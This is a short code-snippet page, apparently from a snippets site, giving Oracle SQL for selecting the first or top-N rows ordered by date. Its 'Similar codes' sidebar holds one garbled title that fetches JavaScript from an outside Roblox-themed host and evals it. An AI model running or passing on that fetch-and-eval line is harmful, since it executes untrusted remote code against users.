Oracle select first row order by

SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC)
    WHERE ROWNUM = 1;
-- Oracle 12c:
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 1 ROW ONLY;
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 10 ROW ONLY;
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 10 ROWS ONLY;

Similar codes

2 votes210 views6 answers
Mysql change timezone
SQL
4 votes186 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
4 votes210 views2 answers
Oracle unlock user
SQL
0 vote213 views1 answer
Select row with latest date mysql
SQL
2 votes185 views1 answer
Sql select min value from multiple columns
SQL
0 vote206 views1 answer
Connect by query in oracle
SQL
5 votes202 views1 answer
AND OR NOT operators sql
SQL
0 vote211 views2 answers
Mysql updating multiple column values from array variable
SQL
0 vote211 views1 answer
Oracle current timestamp
SQL
0 vote199 views1 answer
Including parameters in OPENQUERY
SQL